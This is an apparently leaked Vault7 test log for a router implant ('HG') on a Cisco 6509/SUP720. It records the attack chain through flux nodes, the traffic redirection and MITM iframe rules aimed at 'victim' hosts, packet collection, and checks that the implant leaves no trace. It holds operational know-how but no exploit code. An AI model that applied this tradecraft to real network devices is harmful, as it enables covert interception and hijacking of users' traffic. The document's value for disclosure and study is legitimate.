Vault7: CIA Hacking Tools Revealed

Cytolysis-1h Testing

HG was delivered for Cytolysis on 10/12/2015 for SUP720. Testing scope will include SMITE, ACE, Redirection and Packet Collection capabilties.

CONOP will be:

Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 osmo mgmt subnet - and attack mgmt VLANVirtual Local Area Network 1 ip address - 0.108 from a host that is allowed vty access via acl 2
Establish CTCounter Terrorism session back through flux node 3
Use ACEApplication Control Engine (Module) commands to verify state of the device
Use socket get_arp_survey_data and packet collection to identify target hosts on VLANVirtual Local Area Network 19
SMITE hosts on target customer network - VLANVirtual Local Area Network 19

Testing Summary

Note in test report that module 2 is in state PwrDown and should be verified before proceeding
FilterBroker module needs to be manually started after HG install
5 second CPU spikes to around 40% during IACInternational Access Code attack
Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161.
Comms packets are SSLv3 - need to consider if this is noticeable on this network
Can only SMITE to /32 destinations
HG-11 - Return web traffic that matches a SMITE rule is denied by ACL

Device Setup

6509E Chassis with the following linecards
- Slot 1 - WS-6148-GE-TX
- Slot 2 - WS-6148-GE-TX - powered down
- Slot 3 - WS-X6704-10GE
- Slot 4 - EMPTY
- Slot 5 - WS-SUP720-3B
- Slot 6 - WS-SUP720-3B
DUT IOSApple operating system for small devices - sup-bootdisk:s72033-ipservices_wan-mz.122-33.SXI.bin
DUT ROMRead-Only Memory - ROM: System Bootstrap, Version 12.2(17r)SX5, RELEASE SOFTWARE (fc1)
OSPF running with Osmo-3 routers, rx equal-cost default route from two OSPFOpen Shortest Path First peers over Uplinks, along with other OSPFOpen Shortest Path First routes.
Uplinks to Osmo-3 routers - one on 10G interface, other on 1G interface (target may actually have two 10G uplinks, however I do not have two 10G routers to link to).
10GB Uplink uses ISL trunk encapsulation, 1GB uplink uses dot1q (that module on 6509 does not support ISL trunking)
Customer 2 is the target traffic, Customer 1 is just additional traffic. Customer routers replicated with 3750s.
Customer 2 target network is NAT'd by the DUT
Hop through three flux nodes to attack - one on Internet and two on Osmo network. Final Flux node on CONTROL network hanging off Osmo router.
SNMP monitoring, Syslog and trap logging set up to Solarwinds
Port mirror set up for VLANVirtual Local Area Network 3 and 47
Config differences between Target and DUT
- ip name server 4.4.4.4 added
- power mode combined
- no power enable module 2 - not sure why their slot 2 is PwrDown without this command
- g1/48 configured as an Uplink with dot1q encap and removed from SPAN for VLANVirtual Local Area Network 3,47
- logging/snmp host statements and acl 2 changed for 10.9.8.22
- added 1.1.1.1 as ntp server and added to acl Core-Net-filter-in.

5. Disconnected and reconnected CTCounter Terrorism session
6. Entered some incorrect commands to test boundaries - asdfhsaj, show *, show run | beg line <-cannot run this
7. Attempting to run copy command "copy run sup-bootflash:" created a file called exit on the bootflash with the running config in it. Deleted this file.
8. Running "copy run sup-bootflash:config" also creates a file called exit.
9. Running "delete sup-bootflash:config" via ACEApplication Control Engine (Module) does not delete the file
10. None of the ACEApplication Control Engine (Module) commands show in output of "show history"
11. show history does not seem to show the actual history - just has an entry for "show history"
12. Documentation for ACEApplication Control Engine (Module) module says that only show commands are supported - maybe commands other than show should be blocked by ilm or CT.

8. Reloaded DUTDevice Under Test to start with a clean device
9. Tested browsing to three different servers - X.X.X.XX (LVLT-GOGL-8-8-8[US]), 100.100.40.3 and 100.100.40.4 from the 10.11.0.13 host and was successful. Did not record any denies on acl.
10. IAC attacked and repeated web browsing successfully.
11. Installed HG and repeated web browsing successfully.
12. Established CTCounter Terrorism session and repeated browsing successfully
13. Started FilterBroker and repeated browsing successfully.
14. Added SMITE rule and i was unable to browse and I saw the error message when hitting web server that matches SMITE rule. Web traffic that did not match SMITE rule proceeded normally.

Test Packet Collection
1. Will smoke test packet collection of DNSDomain Name System packets to identify DNSDomain Name System servers in use by target hosts and web destinations per the CONOPConcealed Operation discussion
2. Verified Seeds traffic is working from VLANVirtual Local Area Network 3 and VLANVirtual Local Area Network 19
3. Enabled a packet collection rule - collect create 0.0.0.0 0.0.0.0 53 53 10.11.0.13 255.255.255.255 udp -en -t 15s
4. When rule is enabled, traffic doesn't flow and nothing is collected
5. Tried several variations on the rule and found that if I use 4.4.4.4 as the destination host, the traffic stops, but i do actually get collection results
Generating Baseline performance test
1. Running two hour test with no HG - HG was uninstalled and then device was powered off for 20seconds and then powered back up
2. Ran IXIA for 2 hour test.
3. Collected results - Cytolysis-1h_56-Baseline-no-hG-Test8
Generate Another Baseline with more traffic
1. Running two hour test with no HG - same test as test 8 except with more traffic flowing through
2. Collected results - Cytolysis-1h_58-Baseline-no-HG-Test9
Performance test - same as Test 9 but with HG, no rules active
1. test kicked off at 2:30PM on Friday
2. compared results of test 9 and 10. Found no difference in CPU % as reported by Solarwinds. Found only small difference in Used memory in solarwinds, which is expected because with HG installed, output of show mem does show some additional used memory. Difference in memory was - 25.9% utilized without HG, 26.6% utilized with HG
3. IXIA report - no significant difference in report observed in the following areas - Agg Appsim - IP Summary, TCPTransport Control Protocol Setup time, TCPTransport Control Protocol Response Time, TCPTransport Control Protocol close time, TCPTransport Control Protocol summary, Frame latency summary, UDPUser Datagram Protocol summary. Under Component summary, the Maximum Client Establish rate was lower with HG installed - 8990 vs 5330. This is something to watch with subsequent tests of performance with either rules active or with additional traffic. In this same section, TCPTransport Control Protocol flow rate was lower with HG as well. Application Summary showed only a handful more errors with HG (~100).
4. Checked individual component stats in test report and it seems that cust1 component performed well - the other three are the ones with the decreased rate of max client establishment/TCP flow rate. Those three all involve subnet flx2, whlie cust1 test flows to services. Could be something to investigate - whether there is an issue with sending traffic out the uplink interface on vlan 2 versus sending traffic to other interfaces/vlans on the DUT.
Opsec review
1. Observed known issues in show tech - init process missing from show stacks and output of show mem shows higher Used mem with HG
2. After HG uninstalled - Init process back, no anamolous output
Ad-hoc - Administrator commands testing
1. with HG installed, perform system administrator functions, kicked off ixia to run background traffic
2. Added and deleted vlan interface and associated vlan, various show commands, bounced vlan 2 interface, added/deleted a user, clear counters, clear access-list counters, clear cef table
3. Observed that IP that I am impersonating for CTCounter Terrorism session has a receive adj when directly queried however does not show up in show ip cef detail. Also ping to that host failed until I disconnected CTCounter Terrorism session, at which point the cef RAA was dropped and traffic to that host resumed. This is expected behavior based on HG-11.
4. test cef commands, test diagnostic all on slot 3, show tech, show ip cef commands (known observables), created and deleted new port mirror, changed console and buffer logging levels, clear arp and clear mac address table, deleted and re-added acl from vty lines, deleted and re-added acl from vlan 2 and vlan 19, term len 0, show run
Ad-hoc test - Add latency to ICON machine
1. Uninstalled HG
2. Added latency - 1000ms to ICON workstation
3. IAC attacked - IACInternational Access Code attack failed - LG ECEdgeCase 133 DHE - 133 is "Router issue command failed". Follow up to see if this is related to re-attack or additional latency.
4. Reduced latency to 500ms - IACInternational Access Code attack - Attack and HG upload successful 0- LGDTHM
5. Established CTCounter Terrorism session successfully with 500ms
6. Uninstalled HG and reloaded DUTDevice Under Test to try again with 1000ms of latency - successfully attacked and installed, establsihed CTCounter Terrorism session with latency
7. Repeated test with 1000 ms successfully
Verifying result of performance testing
1. Ran iterations 61 and 62 of same test - reload DUT, then run test each time. Generated a comparison report. Results are not 100% consistent with previous results. Still looking into report.
Run Stack Scrambler test with HG installed - 2h
Ran Stack Scrambler test with HG installed - 8 hour - no crashes or prints
Ad hoc test - reload during HG upload
1. Started with a clean DUT
2. IAC attacked
3. Reloaded Device at 97% HG upload complete
4. Verified no prints or traps sent, router reloaded normally
5. Successfully re-attacked and uploaded HG
Ad hoc - perform admin functions during HG upload
1. performed show tech during HG upload
2. bounced power to module 2 during Hg upload
3. Performed show commands
4. DId not obbserve any anamolous output on console or traps
Ad hoc - collect wireshark of comms traffic
1. collected with wireshark on ICON machine while establishing CTCounter Terrorism session
2. ct-session.pcapng saved to / on ICON
3. SSLv3 packets
4. Certificate handed out by Cutthroat is the same as used in previous releases of HG - need to confirm but this is signature issue
IXIA test - without interface commands
1. With HG installed Increased IXIA traffic to 100k flows and 10M on IXIA - observed many failures
2. Removed ip verify unicast commands from VLANVirtual Local Area Network 19 - observed many failures
3. Removed acls from vlan 2 and vlan 19 - observed many errors
4. Removed nat statements - router crashed. Collected show info
5. Reloaded DUTDevice Under Test and configured with no ip verify unicast, no acls and no nat
6. Started traffic - running without errors - still no HG at this time
7. During test, IACInternational Access Code attacked and installed HG, established CTCounter Terrorism session, uninstalled HG - no errors
8. Reloaded and added back all interface and acl configurations
9. Running test with no HG, 10M traffic and 1000 superflows with success.
SUP Failover testing
1. Test sup fails over due to primary pulled
2. Test sup fails over due to primary crash
3. Test sup fails over due to manual force
  1. With IXIA traffic running, HG installed
  2. Laid down an assist with HG by creating a SMITE rule for
Mointoring CPU and punted packets during IXIA test with and without HG
1. Reloaded DUTDevice Under Test to start with a clean device
2. Verified CPU levels for SP, RP and DFC in slot 3 -
  
  cytolysis-1#show proc cpu
  CPU utilization for five seconds: 0%/0%; one minute: 1%; five minutes: 1%
  
  cytolysis-1#remote command switch show proc cpu
  
  CPU utilization for five seconds: 17%/1%; one minute: 14%; five minutes: 14%
  
  cytolysis-1-cfc3#show proc cpu
  CPU utilization for five seconds: 0%/0%; one minute: 1%; five minutes: 1%
3. Verified packet queues - no packets queued
4. Verified what is going to RP - src 10.11.0.10 - dns to 4.4.4.4, 443 to X.X.X.XX (LVLT-GOGL-8-8-8[US]), icmp to X.X.X.XX (LVLT-GOGL-8-8-8[US]). src XXX.XXX.X.XX (TOPWAY-NET[CN]) - only ICMPInternet Control Message Protocol to XXX.XXX.X.XX (TOPWAY-NET[CN]).
5. Installed HG and verified all three CPUs - values were the same within 1%.
6. Verified that netdr command is seeing the change in RP traffic due to HG assist on CTCounter Terrorism impersonated host
7. Kicked off IXIA test - CPU looks normal so far - around 6% for RP, same level as before for SP and DFC
Testing new version of IACInternational Access Code - had previously completed a smoke test of new IAC
1. Kicked off IXIA test - Cytolysis High
2. Uninstalled HG
3. Verified Solarwinds not currently loogging any SNMPSimple Network Management Protocol traps and monitoring tcpdump on 4.4.4.4 for DNSDomain Name System queries from XXX.XXX.X.XX (TOPWAY-NET[CN])
4. Re-attacked with IAC
5. IAC attack completed without sending any SNMPSimple Network Management Protocol traps or DNSDomain Name System queries
6. Uploaded HG and established CTCounter Terrorism session with no problem
7. Unininstalled HG
8. Repeated three times
9. Attacked with IACInternational Access Code three times in a row - no traps or dns queries, output shows LGDTHM
10. Uploaded HG
11. Tested with ACEApplication Control Engine (Module) using show users command - show users issues through ACEApplication Control Engine (Module) does not initiate a DNSDomain Name System query, even with a separate login
12. Increased CUst2 IXIA traffic to 10k flows. Failure rate increased as expected
13. Allowed test to run for maybe ten minutes with failures incrememting
14. Uninstalled HG through CLICommand-Line Interface and let the test run for ten more minutes - about 15k active translations
15. Re-attacked and installed HG, establish CTCounter Terrorism session
16. Created a smite rule for an IXIA source and destination from 10.11.0.50 to XXX.XXX.XX.XX (TOPWAY-NET[CN]).
17. Monitored packet assist - hihgest observed was 310 packets per second
18. Verified assist was in place with show ip cef <ip>
19. RP/SP/DFC CPU was not impacted by the one SMITE rule.
20. Deleted and re-added the rule several times
21. Reset the stats for packet assist by re-entering packet assist parameters 1500/3000
22. Added the rule but not enabled, enabled, then disabled and deleted the rule
23. Created three rules to different destinations, verified show ip cef receieve adjacencies. packet assist threshold at 300
24. Exceeded packet assist threshold and assists did drop. Rules still appear to be enabled however. disabling and re-enaling rule re-establishes the assist.
Test assist remove
1. Created a mitm iframe rule, verified the assist in show ip cef.
2. Performed a device uninstall - verified that the assist was dropped after a few seconds.
CPU Scaling test
1. Adjusted IXIA cust 2 levels to 1000 flows and 5M in order to simulate what I see in show proc cpu hist on target
2. Verified CPU levels and installed HG to see impact on overall level (nto 5s CPU)
3. At these traffic levels, HG seemed to add about 2% to 1min/5 minute CPU
Performance characterization - collecting all three CPUs and memory without traffic and hg, with traffic-no hg, with traffic and hg
1. Found that HG install added maybe 1% to RP CPU, SP CPU and nothing to linecard CPU - files saved in testing folder.
2. Reloaded device at 10:05. No HG and no traffic for several hours - only seeds from cust1host. Collected SWSoftware and show proc cpu data.
3. Added new HG delivery Friday morning - allow to run over the weekend with no traffic - only seeds from cust1host. Confirmed no SNMPSimple Network Management Protocol Trap or DNSDomain Name System query during IAC. Peak CPU during IACInternational Access Code was 62%. Peak CPU during HG upload was 18%. These were only 5 second values. Screenshots show reported Solarwinds values.
4. Verified that new delivery fixes IACInternational Access Code and filterbroker module starts automatically now. Exited CTCounter Terrorism session.
Smoke test of features
1. Ran through all ACEApplication Control Engine (Module) commands documented on Cytolysis page as well as socket get_arp_survey_data
2. Opened Victim3 and web browsed to google - saw the following print:
  cytolysis-1#

  In addition page didn't load completely - first two pictures loaded only.
3. Cleared cache on Victim 3 and repeated browsing to google, this time successful page load and no print. Repeated this three times with no further problem.
4. Waiting for nat to clear out and then repeating the attempted web browsing. While waiting for NATNetwork Address Translation to clear out, rx the print again, although I was not actively browsing and IEInternet Explorer was closed:

5. After nat cleared, attempted to browse again, this time successfully with no print.
6. Browsed successfully for the first time to 100.100.40.3 and 100.100.40.4 successfully as well, no print.
7. went down to get lunch, came back and attempting again to browse after cache cleared and it sat for a bit.
8. All three pages loaded successfully.
9. Trying from victim1 -
10. Confluence lost a bunch of notes, trying to recreate them
11. I was able to browse successfully from all other hosts with no prints.
12. Created iframe rule to match victim 3. At first i just web browsed from other hosts to X.X.X.XX (LVLT-GOGL-8-8-8[US]) to make sure that still worked and it did, no problems. then i tried from victim 3 - unsuccessful exploitation and also prints:
